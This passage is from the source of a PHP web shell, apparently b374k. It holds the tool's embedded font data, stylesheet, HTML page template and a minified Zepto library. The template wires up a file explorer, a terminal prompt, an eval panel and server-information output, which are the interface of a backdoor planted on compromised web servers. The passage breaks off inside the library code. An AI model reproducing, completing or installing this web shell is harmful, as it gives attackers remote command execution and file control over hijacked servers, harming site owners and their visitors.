m3IRJU6bNmDVn3oJFS5atWLVm3YZNW7bt2LVn34FDR46dOHXm3IVLV67duHXn3oNHT569ePXm3YdPX779+PXnX0xcQlJKWkZWTl5BUalGEFz0AgAGAAB9n/ydurubacaYjRNTFzadM3HAdE3bOOvps/fEhQgjGjRa0+tRk07t+o0ZDZHa3KnX48u3Dn1abHrwacC4Xz/+DJuwZ8ekeAm6JDqQZNe+E4eOHHuS7NypM1NSfOh25cKlVC/etEqXJkOWTNkG5ciTK1+BIoWKlXhWqlyZClUqLRtSo1qtOq/erbg2bcaNe7dmzVm0ZMu8BduarduwGqJCdIgJseF/HIyc7KV5mQYGjgZQ2oUnLb+0qLi0ILUoM7+IxbW0KB8kY2RkaAqiXQ3c3MC0m5sLiHYzMDAAAFHEcrt4ATWMz0rzQBTFZ77wFRdFRaGIEIKKm2bTR4gdDLFBaJtebRpjO2rUfYoYEKqWSv3TNooiKKLQB+gUN8GNvoGv4M7H0FtqL5d7zpzfYbTx526v+097mp3TH4OkEv18aPGH+JR+HxjKnT8MCrcY3PjTyrVvKB1stRFeIbzE9wnqRT2pnJ8ZShNZA1kdu6eY15Afoh5h3gveg89A0gJlQT/A7I1SwijR5mGf7cEu82CHcdhmFdhiZdhkLmwwB0rMBhFhLUMnPNya1/GkFKeTPMUrPOSCf/FYr0yJS1NuxQ1dqcjWYJ0BWOEq5EMTcmEGsuEK6E4alp0lKFj43WuC/qcRDc1I+s6bYizrCNoUi9bgarmSiDUFgZJT7FPathutFknLppCtoniRbVMYaLSBOUZD5H6CpG1VJerf+FUft+qro6HI/IGMSujQ4EUd8urMLzJZe0cA) format(\'woff\');\nfont-weight: normal;\nfont-style: normal;}*{\nfont-family:ubuntumono;\nmargin:0;\npadding:0;\nborder:0;\n-webkit-box-sizing:border-box;\n-moz-box-sizing:border-box;\nbox-sizing:border-box;\nfont-size:12px;\nfont-weight:normal;}input:focus, select:focus, textarea:focus, button:focus{\noutline:none;}html, body{\nwidth:100%;\nheight:100%;\ncolor:#222222;}body{\nbackground:#f0f0f0;\nline-height:17px;}a{\ntext-decoration:none;\ncolor:#000000;}a:hover{\ncursor:pointer;}p{\npadding:8px 0;}img{\nvertical-align:middle;}table{\nwidth:100%;}table td, table th{\nvertical-align:middle;\npadding:8px;}textarea, input, select{\nbackground:#ffffff;\npadding:8px;\nborder-radius:8px;\ncolor:#111111;\nborder:1px solid #dddddd;}textarea{\nresize:vertical;\nwidth:100%;\nheight:300px;\nmin-height:300px;\nmax-width:100%;\nmin-width:100%;}hr{\nmargin:8px 0;\nborder-bottom:1px dashed #dddddd;}video{\nwidth:100%;\nbackground:#222222;\nborder-radius:8px;}h1, h2{\nbackground:#E7E7E7;\nborder-bottom: 1px solid #cccccc;\ncolor:#000000;\nborder-radius:8px;\ntext-align:center;\ncursor:pointer;\npadding:8px;\nmargin-bottom:8px;}h1 a, h2 a{\ncolor:#000000;}pre, #viewFilecontent{\nword-break:break-all;\nword-wrap:break-word;}pre{\nwhite-space:pre-wrap;}#b374k{\ncursor:pointer;}#header{\nwidth:100%;\nposition:fixed;}#headerNav{\npadding:10px 8px 6px 8px;\nbackground:#333333;}#headerNav img{\nmargin:0 4px;}#headerNav a{\ncolor:#efefef;}#menu{\nbackground:#7C94A8;\nheight:33px;\nborder-bottom:3px solid #CCCFD1;}#menu .menuitem{\npadding:7px 12px 6px 12px;\nfloat:left;\nheight:30px;\nbackground:#7C94A8;\ncolor:#ffffff;\ncursor:pointer;}#menu .menuitem:hover, #menu .menuitemSelected{\nbackground:#768999;\ncolor:#ffffff;}#menu .menuitemSelected{\nbackground:#768999;}#basicInfo{\nwidth:100%;\npadding:8px;\nborder-bottom:1px dashed #dddddd;}#content{\nbackground:#f0f0f0;\nheight:100%;\npadding:66px 8px 8px 8px;}#content .menucontent{\nbackground:#f0f0f0;\nclear:both;\ndisplay:none;\npadding:8px;\noverflow-x:auto;\noverflow-y:hidden;}#overlay{\nposition:fixed;\ntop:0px;\nleft:0px;\nwidth:100%;\nheight:100%;\ndisplay:none;}#loading{\nwidth:64px;\nheight:64px;\nbackground:#7C94A8;\nborder-radius:32px 0 32px 0;\nmargin:auto;\nvertical-align:middle;}#ulDragNDrop{\npadding:32px 0;\ntext-align:center;\nbackground:#7C94A8;\nborder-radius:8px;\ncolor:#ebebeb;}#form{\ndisplay:none;}#devTitle{\nbackground:#ebebeb;}.box{\nmin-width:50%;\nborder:1px solid #dddddd;\npadding:8px 8px 0 8px;\nborder-radius:8px;\nposition:fixed;\nbackground:#ebebeb;\nopacity:1;\nbox-shadow:1px 1px 25px #150f0f;\nopacity:0.98;}.boxtitle{\nbackground:#dddddd;\nborder: 1px solid #cccccc;\ncolor:#000000;\nborder-radius:8px;\ntext-align:center;\ncursor:pointer;}.boxtitle a, .boxtitle a:hover{\ncolor:#000000;}.boxcontent{\npadding:2px 0 2px 0;}.boxresult{\npadding:4px 10px 6px 10px;\nborder-top:1px solid #dddddd;\nmargin-top:4px;\ntext-align:center;}.boxtbl{\nborder:1px solid #dddddd;\nborder-radius:8px;\npadding-bottom:8px;\nbackground:#ebebeb;}.boxtbl td{\nvertical-align:middle;\npadding:8px 15px;\nborder-bottom:1px dashed #dddddd;}.boxtbl input, .boxtbl select, .boxtbl .button{\nwidth:100%;}.boxlabel{\ntext-align: center;\nborder-bottom:1px solid #dddddd;\npadding-bottom:8px;}.boxclose{\nbackground:#222222;\nborder-radius:3px;\nmargin-right:8px;\nmargin-top:-3px;\npadding:2px 8px;\ncursor:pointer;\ncolor:#ffffff;}.strong{\ncolor:#7C94A8;\ntext-shadow:0px 0px 1px #C0DCF5;}.weak{\ncolor:#666666;}.button{\nmin-width:120px;\nwidth:120px;\nmargin:2px;\ncolor:#ffffff;\nbackground:#7C94A8;\nborder:none;\npadding:8px;\nborder-radius:8px;\ndisplay:block;\ntext-align:center;\nfloat:left;\ncursor:pointer;}.button:hover, #ulDragNDrop:hover{\nbackground:#768999;}.floatLeft{\nfloat:left;}.floatRight{\nfloat:right;}.colFit{\nwidth:1px;\nwhite-space:nowrap;}.colSpan{\nwidth:100%;}.border{\nborder:1px solid #dddddd;\nbackground:#ebebeb;\nborder-radius:8px;\npadding:8px;}.borderbottom{\nborder-bottom:1px dashed #dddddd;}.borderright{\nborder-right:1px dashed #dddddd;}.borderleft{\nborder-left:1px dashed #dddddd;}.hr td{\nborder-bottom:1px dashed #dddddd;}.cBox, .cBoxAll{\nwidth:10px;\nheight:10px;\nborder:1px solid #7C94A8;\nborder-radius:5px;\nmargin:auto;\nfloat:left;\nmargin:3px 6px 2px 6px;\ncursor:pointer;}.cBoxSelected{\nbackground:#7C94A8;}.action, .actionfolder, .actiondot{\ncursor:pointer;}.phpError{\npadding:8px;\nmargin:8px 0;\ntext-align:center;}.dataView td, .dataView th, #viewFile td{\nvertical-align:top;\nborder-bottom:1px dashed #dddddd;}.dataView tbody tr:hover{\nbackground:#ebebeb;}.dataView th{\nvertical-align:middle;\nborder-bottom:0;\nbackground:#e0e0e0;}.dataView tfoot td{\nvertical-align:middle;}.dataView .col-cbox{\ntext-align:center;\nwidth:20px;}.dataView .col-size{\nwidth:70px;}#xplTable tr>td:nth-child(3){\ntext-align:left;}#xplTable tr>td:nth-child(4),#xplTable tr>td:nth-child(5),#xplTable tr>td:nth-child(6){\ntext-align:center;}.dataView .col-owner{\nwidth:140px;\nmin-width:140px;\ntext-align:center;}.dataView .col-perms{\nwidth:80px;\ntext-align:center;}.dataView .col-modified{\nwidth:150px;\ntext-align:center;}.sortable th{\ncursor:pointer;}#xplTable td{\nwhite-space:nowrap;}#viewFile td{\ntext-align:left;}#viewFilecontent{\npadding:8px;\nborder:1px solid #dddddd;\nborder-radius:8px;}#terminalPrompt td{\npadding:0;}#terminalInput{\nbackground:none;\nborder:none;\npadding:0;\nwidth:100%;}#evalAdditional{\ndisplay:none;}.hl_default{\ncolor:#517797;}.hl_keyword{\ncolor:#00BB00;}.hl_string{\ncolor:#000000;}.hl_html{\ncolor:#CE5403;}.hl_comment{\ncolor:#7F9F7F;}#navigation{position:fixed;left:-16px;top:46%;}#totop,#tobottom,#toggleBasicInfo{background:url(\'<?php echo get_resource(\'arrow\');?>\');width:32px;height:32px;opacity:0.30;margin:18px 0;cursor:pointer;}#totop:hover,#tobottom:hover{opacity:0.80;}#toggleBasicInfo{display:none;float:right;margin:0;}#basicInfoSplitter{display:none;}#tobottom{-webkit-transform:scaleY(-1);-moz-transform:scaleY(-1);-o-transform:scaleY(-1);transform:scaleY(-1);filter:FlipV;-ms-filter:"FlipV";}#showinfo{float:right;display:none;}#logout{float:right;}</style>\n</head>\n<body>\n<!--wrapper start-->\n<div id=\'wrapper\'>\n<!--header start-->\n<div id=\'header\'>\n<!--header info start-->\n<div id=\'headerNav\'>\n<span><a onclick="set_cookie(\'cwd\', \'\');" href=\'<?php echo get_self(); ?>\'><?php echo $GLOBALS[\'title\']." ".$GLOBALS[\'ver\']?></a></span>\n<img onclick=\'viewfileorfolder();\' id=\'b374k\' src=\'<?php echo get_resource(\'b374k\');?>\' />&nbsp;<span id=\'nav\'><?php echo $nav; ?></span>\n<a class=\'boxclose\' id=\'logout\' title=\'log out\'>x</a>\n<a class=\'boxclose\' id=\'showinfo\' title=\'show info\'>v</a>\n</div>\n<!--header info end-->\n<!--menu start-->\n<div id=\'menu\'>\n<?php\nforeach($GLOBALS[\'module_to_load\'] as $k){\necho "<a class=\'menuitem\' id=\'menu".$GLOBALS[\'module\'][$k][\'id\']."\' href=\'#!".$GLOBALS[\'module\'][$k][\'id\']."\'>".$GLOBALS[\'module\'][$k][\'title\']."</a>";}?>\n</div>\n<!--menu end-->\n</div>\n<!--header end-->\n<!--content start-->\n<div id=\'content\'>\n<!--server info start-->\n<div id=\'basicInfo\'>\n<div id=\'toggleBasicInfo\'></div>\n<?php\necho $error_html;\nforeach(get_server_info() as $k=>$v){\necho "<div>".$v."</div>";}?>\n</div>\n<!--server info end-->\n<?php\nforeach($GLOBALS[\'module_to_load\'] as $k){\n$content = $GLOBALS[\'module\'][$k][\'content\'];\necho "<div class=\'menucontent\' id=\'".$GLOBALS[\'module\'][$k][\'id\']."\'>".$content."</div>";}?>\n</div>\n<!--content end-->\n</div>\n<!--wrapper end-->\n<div id=\'navigation\'>\n<div id=\'totop\'></div>\n<div id=\'tobottom\'></div>\n</div>\n<table id="overlay"><tr><td><div id="loading" ondblclick=\'loading_stop();\'></div></td></tr></table>\n<form action=\'<?php echo get_self(); ?>\' method=\'post\' id=\'form\' target=\'_blank\'></form>\n<!--script start-->\n<script type=\'text/javascript\'>\nvar targeturl = \'<?php echo get_self(); ?>\';\nvar module_to_load = \'<?php echo implode(",", $GLOBALS[\'module_to_load\']);?>\';\nvar win = <?php echo (is_win())?\'true\':\'false\';?>;\nvar init_shell = true;\n/* Zepto v1.1.2 - zepto event ajax form ie - zeptojs.com/license */\nvar Zepto=function(){function G(a){return a==null?String(a):z[A.call(a)]||"object"}function H(a){return G(a)=="function"}function I(a){return a!=null&&a==a.window}function J(a){return a!=null&&a.nodeType==a.DOCUMENT_NODE}function K(a){return G(a)=="object"}function L(a){return K(a)&&!I(a)&&Object.getPrototypeOf(a)==Object.prototype}function M(a){return a instanceof Array}function N(a){return typeof a.length=="number"}function O(a){return g.call(a,function(a){return a!=null})}function P(a){return a.length>0?c.fn.concat.apply([],a):a}function Q(a){return a.replace(/::/g,"/").replace(/([A-Z]+)([A-Z][a-z])/g,"$1_$2").replace(/([a-z\\d])([A-Z])/g,"$1_$2").replace(/_/g,"-").toLowerCase()}function R(a){return a in j?j[a]:j[a]=new RegExp("(^|\\\\s)"+a+"(\\\\s|$)")}function S(a,b){return typeof b=="number"&&!k[Q(a)]?b+"px":b}function T(a){var b,c;return i[a]||(b=h.createElement(a),h.body.appendChild(b),c=getComputedStyle(b,"").getPropertyValue("display"),b.parentNode.removeChild(b),c=="none"&&(c="block"),i[a]=c),i[a]}function U(a){return"children"in a?f.call(a.children):c.map(a.childNodes,function(a){if(a.nodeType==1)return a})}function V(c,d,e){for(b in d)e&&(L(d[b])||M(d[b]))?(L(d[b])&&!L(c[b])&&(c[b]={}),M(d[b])&&!M(c[b])&&(c[b]=[]),V(c[b],d[b],e)):d[b]!==a&&(c[b]=d[b])}function W(a,b){return b==null?c(a):c(a).filter(b)}function X(a,b,c,d){return H(b)?b.call(a,c,d):b}function Y(a,b,c){c==null?a.removeAttribute(b):a.setAttribute(b,c)}function Z(b,c){var d=b.className,e=d&&d.baseVal!==a;if(c===a)return e?d.baseVal:d;e?d.baseVal=c:b.className=c}function $(a){var b;try{return a?a=="true"||(a=="false"?!1:a=="null"?null:!/^0/.test(a)&&!isNaN(b=Number(a))?b:/^[\\[\\{]/.test(a)?c.parseJSON(a):a):a}catch(d){return a}}function _(a,b){b(a);for(var c in a.childNodes)_(a.childNodes[c],b)}var a,b,c,d,e=[],f=e.slice,g=e.filter,h=window.document,i={},j={},k={"column-count":1,columns:1,"font-weight":1,"line-height":1,opacity:1,"z-index":1,zoom:1},l=/^\\s*<(\\w+|!)[^>]*>/,m=/^<(\\w+)\\s*\\/?>(?:<\\/\\1>|)$/,n=/<(?!area|br|col|embed|hr|img|input|link|meta|param)(([\\w:]+)[^>]*)\\/>/ig,o=/^(?:body|html)$/i,p=/([A-Z])/g,q=["val","css","html","text","data","width","height","offset"],r=["after","prepend","before","append"],s=h.createElement("table"),t=h.createElement("tr"),u={tr:h.createElement("tbody"),tbody:s,thead:s,tfoot:s,td:t,th:t,"*":h.createElement("div")},v=/complete|loaded|interactive/,w=/^\\.([\\w-]+)$/,x=/^#([\\w-]*)$/,y=/^[\\w-]*$/,z={},A=z.toString,B={},C,D,E=h.createElement("div"),F={tabindex:"tabIndex",readonly:"readOnly","for":"htmlFor","class":"className",maxlength:"maxLength",cellspacing:"cellSpacing",cellpadding:"cellPadding",rowspan:"rowSpan",colspan:"colSpan",usemap:"useMap",frameborder:"frameBorder",contenteditable:"contentEditable"};return B.matches=function(a,b){if(!b||!a||a.nodeType!==1)return!1;var c=a.webkitMatchesSelector||a.mozMatchesSelector||a.oMatchesSelector||a.matchesSelector;if(c)return c.call(a,b);var d,e=a.parentNode,f=!e;return f&&(e=E).appendChild(a),d=~B.qsa(e,b).indexOf(a),f&&E.removeChild(a),d},C=function(a){return a.replace(/-+(.)?/g,function(a,b){return b?b.toUpperCase():""})},D=function(a){return g.call(a,function(b,c){return a.indexOf(b)==c})},B.fragment=function(b,d,e){var g,i,j;return m.test(b)&&(g=c(h.createElement(RegExp.$1))),g||(b.replace&&(b=b.replace(n,"<$1></$2>")),d===a&&(d=l.test(b)&&RegExp.$1),d in u||(d="*"),j=u[d],j.innerHTML=""+b,g=c.each(f.call(j.childNodes),function(){j.removeChild(this)})),L(e)&&(i=c(g),c.each(e,function(a,b){q.indexOf(a)>-1?i[a](b):i.attr(a,b)})),g},B.Z=function(a,b){return a=a||[],a.__proto__=c.fn,a.selector=b||"",a},B.isZ=function(a){return a instanceof B.Z},B.init=function(b,d){var e;if(!b)return B.Z();if(typeof b=="string"){b=b.trim();if(b[0]=="<"&&l.test(b))e=B.fragment(b,RegExp.$1,d),b=null;else{if(d!==a)return c(d).find(b);e=B.qsa(h,b)}}else{if(H(b))return c(h).ready(b);if(B.isZ(b))return b;if(M(b))e=O(b);else if(K(b))e=[b],b=null;else if(l.test(b))e=B.fragment(b.trim(),RegExp.$1,d),b=null;else{if(d!==a)return c(d).find(b);e=B.qsa(h,b)}}return B.Z(e,b)},c=function(a,b){return B.init(a,b)},c.extend=function(a){var b,c=f.call(arguments,1);return typeof a=="boolean"&&(b=a,a=c.shift()),c.forEach(function(c){V(a,c,b)}),a},B.qsa=function(a,b){var c,d=b[0]=="#",e=!d&&b[0]==".",g=d||e?b.slice(1):b,h=y.test(g);return J(a)&&h&&d?(c=a.getElementById(g))?[c]:[]:a.nodeType!==1&&a.nodeType!==9?[]:f.call(h&&!d?e?a.getElementsByClassName(g):a.getElementsByTagName(b):a.querySelectorAll(b))},c.contains=function(a,b){return a!==b&&a.contains(b)},c.type=G,c.isFunction=H,c.isWindow=I,c.isArray=M,c.isPlainObject=L,c.isEmptyObject=function(a){var b;for(b in a)return!1;return!0},c.inArray=function(a,b,c){return e.indexOf.call(b,a,c)},c.camelCase=C,c.trim=function(a){return a==null?"":String.prototype.trim.call(a)},c.uuid=0,c.support={},c.expr={},c.map=function(a,b){var c,d=[],e,f;if(N(a))for(e=0;e<a.length;e++)c=b(a[e],e),c!=null&&d.push(c);else for(f in a)c=b(a[f],f),c!=null&&d.push(c);return P(d)},c.each=function(a,b){var c,d;if(N(a)){for(c=0;c<a.length;c++)if(b.call(a[c],c,a[c])===!1)return a}else for(d in a)if(b.call(a[d],d,a[d])===!1)return a;return a},c.grep=function(a,b){return g.call(a,b)},window.JSON&&(c.parseJSON=JSON.parse),c.each("Boolean Number String Function Array Date RegExp Object Error".split(" "),function(a,b){z["[object "+b+"]"]=b.toLowerCase()}),c.fn={forEach:e.forEach,reduce:e.reduce,push:e.push,sort:e.sort,indexOf:e.indexOf,concat:e.concat,map:function(a){return c(c.map(this,function(b,c){return a.call(b,c,b)}))},slice:function(){return c(f.apply(this,arguments))},ready:function(a){return v.test(h.readyState)&&h.body?a(c):h.addEventListener("DOMContentLoaded",function(){a(c)},!1),this},get:function(b){return b===a?f.call(this):this[b>=0?b:b+this.length]},toArray:function(){return this.get()},size:function(){return this.length},remove:function(){return this.each(function(){this.parentNode!=null&&this.parentNode.removeChild(this)})},each:function(a){return e.every.call(this,function(b,c){return a.call(b,c,b)!==!1}),this},filter:function(a){return H(a)?this.not(this.not(a)):c(g.call(this,function(b){return B.matches(b,a)}))},add:function(a,b){return c(D(this.concat(c(a,b))))},is:function(a){return this.length>0&&B.matches(this[0],a)},not:function(b){var d=[];if(H(b)&&b.call!==a)this.each(function(a){b.call(this,a)||d.push(this)});else{var e=typeof b=="string"?this.filter(b):N(b)&&H(b.item)?f.call(b):c(b);this.forEach(function(a){e.indexOf(a)<0&&d.push(a)})}return c(d)},has:function(a){return this.filter(function(){return K(a)?c.contains(this,a):c(this).find(a).size()})},eq:function(a){return a===-1?this.slice(a):this.slice(a,+a+1)},first:function(){var a=this[0];return a&&!K(a)?a:c(a)},last:function(){var a=this[this.length-1];return a&&!K(a)?a:c(a)},find:function(a){var b,d=this;return typeof a=="object"?b=c(a).filter(function(){var a=this;return e.some.call(d,function(b){return c.contains(b,a)})}):this.length==1?b=c(B.qsa(this[0],a)):b=this.map(function(){return B.qsa(this,a)}),b},closest:function(a,b){var d=this[0],e=!1;typeof a=="object"&&(e=c(a));while(d&&!(e?e.indexOf(d)>=0:B.matches(d,a)))d=d!==b&&!J(d)&&d.parentNode;return c(d)},parents:function(a){var b=[],d=this;while(d.length>0)d=c.map(d,function(a){if((a=a.parentNode)&&!J(a)&&b.indexOf(a)<0)return b.push(a),a});return W(b,a)},parent:function(a){return W(D(this.pluck("parentNode")),a)},children:function(a){return W(this.map(function(){return U(this)}),a)},contents:function(){return this.map(function(){return f.call(this.childNodes)})},siblings:function(a){return W(this.map(function(a,b){return g.call(U(b.parentNode),function(a){return a!==b})}),a)},empty:function(){return this.each(function(){this.innerHTML=""})},pluck:function(a){return c.map(this,function(b){return b[a]})},show:function(){return this.each(function(){this.style.display=="none"&&(this.style.display=""),getComputedStyle(this,"").getPropertyValue("display")=="none"&&(this.style.display=T(this.nodeName))})},replaceWith:function(a){return this.before(a).remove()},wrap:function(a){var b=H(a);if(this[0]&&!b)var d=c(a).get(0),e=d.parentNode||this.length>1;return this.each(function(f){c(this).wrapAll(b?a.call(this,f):e?d.cloneNode(!0):d)})},wrapAll:function(a){if(this[0]){c(this[0]).before(a=c(a));var b;while((b=a.children()).length)a=b.first();c(a).append(this)}return this},wrapInner:function(a){var b=H(a);return this.each(function(d){var e=c(this),f=e.contents(),g=b?a.call(this,d):a;f.length?f.wrapAll(g):e.append(g)})},unwrap:function(){return this.parent().each(function(){c(this).replaceWith(c(this).children())}),this},clone:function(){return this.map(function(){return this.cloneNode(!0)})},hide:function(){return this.css("display","none")},toggle:function(b){return this.each(function(){var d=c(this);(b===a?d.css("display")=="none":b)?d.show():d.hide()})},prev:function(a){return c(this.pluck("previousElementSibling")).filter(a||"*")},next:function(a){return c(this.pluck("nextElementSibling")).filter(a||"*")},html:function(a){return arguments.length===0?this.length>0?this[0].innerHTML:null:this.each(function(b){var d=this.innerHTML;c(this).empty().append(X(this,a,b,d))})},text:function(b){return arguments.length===0?this.length>0?this[0].textContent:null:this.each(function(){this.textContent=b===a?"":""+b})},attr:function(c,d){var e;return typeof c=="string"&&d===a?this.length==0||this[0].nodeType!==1?a:c=="value"&&this[0].nodeName=="INPUT"?this.val():!(e=this[0].getAttribute(c))&&c in this[0]?this[0][c]:e:this.each(function(a){if(this.nodeType!==1)return;if(K(c))for(b in c)Y(this,b,c[b]);else Y(this,c,X(this,d,a,this.getAttribute(c)))})},removeAttr:function(a){return this.each(function(){this.nodeType===1&&Y(this,a)})},prop:function(b,c){return b=F[b]||b,c===a?this[0]&&this[0][b]:this.each(function(a){this[b]=X(this,c,a,this[b])})},data:function(b,c){var d=this.attr("data-"+b.replace(p,"-$1").toLowerCase(),c);return d!==null?$(d):a},val:function(a){return arguments.length===0?this[0]&&(this[0].multiple?c(this[0]).find("option").filter(function(){return this.selected}).pluck("value"):this[0].value):this.each(function(b){this.value=X(this,a,b,this.value)})},offset:function(a){if(a)return this.each(function(b){var d=c(this),e=X(this,a,b,d.offset()),f=d.offsetParent().offset(),g={top:e.top-f.top,left:e.left-f.left};d.css("position")=="static"&&(g.position="relative"),d.css(g)});if(this.length==0)return null;var b=this[0].getBoundingClientRect();return{left:b.left+window.pageXOffset,top:b.top+window.pageYOffset,width:Math.round(b.width),height:Math.round(b.height)}},css:function(a,d){if(arguments.length<2){var e=this[0],f=getComputedStyle(e,"");if(!e)return;if(typeof a=="string")return e.style[C(a)]||f.getPropertyValue(a);if(M(a)){var g={};return c.each(M(a)?a:[a],function(a,b){g[b]=e.style[C(b)]||f.getPropertyValue(b)}),g}}var h="";if(G(a)=="string")!d&&d!==0?this.each(function(){this.style.removeProperty(Q(a))}):h=Q(a)+":"+S(a,d);else for(b in a)!a[b]&&a[b]!==0?this.each(function(){this.style.removeProperty(Q(b))}):h+=Q(b)+":"+S(b,a[b])+";";return this.each(function(){this.style.cssText+=";"+h})},index:function(a){return a?this.indexOf(c(a)[0]):this.parent().children().indexOf(this[0])},hasClass:function(a){return a?e.some.call(this,function(a){return this.test(Z(a))},R(a)):!1},addClass:function(a){return a?this.each(function(b){d=[];var e=Z(this),f=X(this,a,b,e);f.split(/\\s+/g).forEach(function(a){c(this).hasClass(a)||d.push(a)},this),d.length&&Z(this,e+(e?" ":"")+d.join(" "))}):this},removeClass:function(b){return this.each(function(c){if(b===a)return Z(this,"");d=Z(this),X(this,b,c,d).split(/\\s+/g).forEach(function(a){d=d.replace(R(a)," ")}),Z(this,d.trim())})},toggleClass:function(b,d){return b?this.each(function(e){var f=c(this),g=X(this,b,e,Z(this));g.split(/\\s+/g).forEach(function(b){(d===a?!f.hasClass(b):d)?f.addClass(b):f.removeClass(b)})}):this},scrollTop:function(b){if(!this.length)return;var c="scrollTop"in this[0];return b===a?c?this[0].scrollTop:this[0].pageYOffset:this.each(c?function(){this.scrollTop=b}:function(){this.scrollTo(this.scrollX,b)})},scrollLeft:function(b){if(!this.length)return;var c="scrollLeft"in this[0];return b===a?c?this[0].scrollLeft:this[0].pageXOffset:this.each(c?function(){this.scrollLeft=b}:function(){this.scrollTo(b,this.scrollY)})},position:function(){if(!this.length)return;var a=this[0],b=this.offsetParent(),d=this.offset(),e=o.test(b[0].nodeName)?{top:0,left:0}:b.offset();return d.top-=parseFloat(c(a).css("margin-top"))||0,d.left-=parseFloat(c(a).css("margin-left"))||0,e.top+=parseFloat(c(b[0]).css("border-top-width"))||0,e.left+=parseFloat(c(b[0]).css("border-left-width"))||0,{top:d.top-e.top,left:d.left-e.left}},offsetParent:function(){return this.map(function(){var a=this.offsetParent||h.body;while(a&&!o.test(a.nodeName)&&c(a).css("position")=="static")a=a.offsetParent;return a})}},c.fn.detach=c.fn.remove,["width","height"].forEach(function(b){var d=b.replace(/./,function(a){return a[0].toUpperCase()});c.fn[b]=function(e){var f,g=this[0];return e===a?I(g)?g["inner"+d]:J(g)?g.documentElement["scroll"+d]:(f=this.offset())&&f[b]:this.each(function(a){g=c(this),g.css(b,X(this,e,a,g[b]()))})}}),r.forEach(function(a,b){var d=b%2;c.fn[a]=function(){var a,e=c.map(arguments,function(b){return a=G(b),a=="object"||a=="array"||b==null?b:B.fragment(b)}),f,g=this.length>1;return e.length<1?this:this.each(function(a,h){f=d?h:h.parentNode,h=b==0?h.nextSibling:b==1?h.firstChild:b==2?h:null,e.forEach(function(a){if(g)a=a.cloneNode(!0);else if(!f)return c(a).remove();_(f.insertBefore(a,h),function(a){a.nodeName!=null&&a.nodeName.toUpperCase()==="SCRIPT"&&(!a.type||a.type==="text/javascript")&&!a.src&&window.eval.call(window,a.innerHTML)})})})},c.fn[d?a+"To":"insert"+(b?"Before":"After")]=function(b){return c(b)[a](this),this}}),B.Z.prototype=c.fn,B.uniq=D,B.deserializeValue=$,c.zepto=B,c}();window.Zepto=Zepto,window.$===undefined&&(window.$=Zepto),function(a){function m(a){return a._zid||(a._zid=c++)}function n(a,b,c,d){b=o(b);if(b.ns)var e=p(b.ns);return(h[m(a)]||[]).filter(function(a){return a&&(!b.e||a.e==b.e)&&(!b.ns||e.test(a.ns))&&(!c||m(a.fn)===m(c))&&(!d||a.sel==d)})}function o(a){var b=(""+a).split(".");return{e:b[0],ns:b.slice(1).sort().join(" ")}}function p(a){return new RegExp("(?:^| )"+a.replace(" "," .* ?")+"(?: |$)")}function q(a,b){return a.del&&!j&&a.e in k||!!b}function r(a){return l[a]||j&&k[a]||a}function s(b,c,e,f,g,i,j){var k=m(b),n=h[k]||(h[k]=[]);c.split(/\\s/).forEach(function(c){if(c=="ready")return a(document).ready(e);var h=o(c);h.fn=e,h.sel=g,h.e in l&&(e=function(b){var c=b.relatedTarget;if(!c||c!==this&&!a.contains(this,c))return h.fn.apply(this,arguments)}),h.del=i;var k=i||e;h.proxy=function(a){a=y(a);if(a.isImmediatePropagationStopped())return;a.data=f;var c=k.apply(b,a._args==d?[a]:[a].concat(a._args));return c===!1&&(a.preventDefault(),a.stopPropagation()),c},h.i=n.length,n.push(h),"addEventListener"in b&&b.addEventListener(r(h.e),h.proxy,q(h,j))})}function t(a,b,c,d,e){var f=m(a);(b||"").split(/\\s/).forEach(function(b){n(a,b,c,d).forEach(function(b){delete h[f][b.i],"removeEventListener"in a&&a.removeEventListener(r(b.e),b.proxy,q(b,e))})})}function y(b,c){if(c||!b.isDefaultPrevented){c||(c=b),a.each(x,function(a,d){var e=c[a];b[a]=function(){return this[d]=u,e&&e.apply(c,arguments)},b[d]=v});if(c.defaultPrevented!==d?c.defaultPrevented:"returnValue"in c?c.returnValue===!1:c.getPreventDefault&&c.getPreventDefault())b.isDefaultPrevented=u}return b}function z(a){var b,c={originalEvent:a};for(b in a)!w.test(b)&&a[b]!==d&&(c[b]=a[b]);return y(c,a)}var b=a.zepto.qsa,c=1,d,e=Array.prototype.slice,f=a.isFunction,g=function(a){return typeof a=="string"},h={},i={},j="onfocusin"in window,k={focus:"focusin",blur:"focusout"},l={mouseenter:"mouseover",mouseleave:"mouseout"};i.click=i.mousedown=i.mouseup=i.mousemove="MouseEvents",a.event={add:s,remove:t},a.proxy=function(b,c){if(f(b)){var d=function(){return b.apply(c,arguments)};return d._zid=m(b),d}if(g(c))return a.proxy(b[c],b);throw new TypeError("expected function")},a.fn.bind=function(a,b,c){return this.on(a,b,c)},a.fn.unbind=function(a,b){return this.off(a,b)},a.fn.one=function(a,b,c,d){return this.on(a,b,c,d,1)};var u=function(){return!0},v=function(){return!1},w=/^([A-Z]|returnValue$|layer[XY]$)/,x={preventDefault:"isDefaultPrevented",stopImmediatePropagation:"isImmediatePropagationStopped",stopPropagation:"isPropagationStopped"};a.fn.delegate=function(a,b,c){return this.on(b,a,c)},a.fn.undelegate=function(a,b,c){return this.off(b,a,c)},a.fn.live=function(b,c){return a(document.body).delegate(this.selector,b,c),this},a.fn.die=function(b,c){return a(document.body).undelegate(this.selector,b,c),this},a.fn.on=function(b,c,h,i,j){var k,l,m=this;if(b&&!g(b))return a.each(b,function(a,b){m.on(a,c,h,b,j)}),m;!g(c)&&!f(i)&&i!==!1&&(i=h,h=c,c=d);if(f(h)||h===!1)i=h,h=d;return i===!1&&(i=v),m.each(function(d,f){j&&(k=function(a){return t(f,a.type,i),i.apply(this,arguments)}),c&&(l=function(b){var d,g=a(b.target).closest(c,f).get(0);if(g&&g!==f)return d=a.extend(z(b),{currentTarget:g,liveFired:f}),(k||i).apply(g,[d].concat(e.call(arguments,1)))}),s(f,b,i,h,c,l||k)})},a.fn.off=function(b,c,e){var h=this;return b&&!g(b)?(a.each(b,function(a,b){h.off(a,c,b)}),h):(!g(c)&&!f(e)&&e!==!1&&(e=c,c=d),e===!1&&(e=v),h.each(function(){t(this,b,e,c)}))},a.fn.trigger=function(b,c){return b=g(b)||a.isPlainObject(b)?a.Event(b):y(b),b._args=c,this.each(function(){"dispatchEvent"in this?this.dispatchEvent(b):a(this).triggerHandler(b,c)})},a.fn.triggerHandler=function(b,c){var d,e;return this.each(function(f,h){d=z(g(b)?a.Event(b):b),d._args=c,d.target=h,a.each(n(h,b.type||b),function(a,b){e=b.proxy(d);if(d.isImmediatePropagationStopped())return!1})}),e},"focusin focusout load resize scroll unload click dblclick mousedown 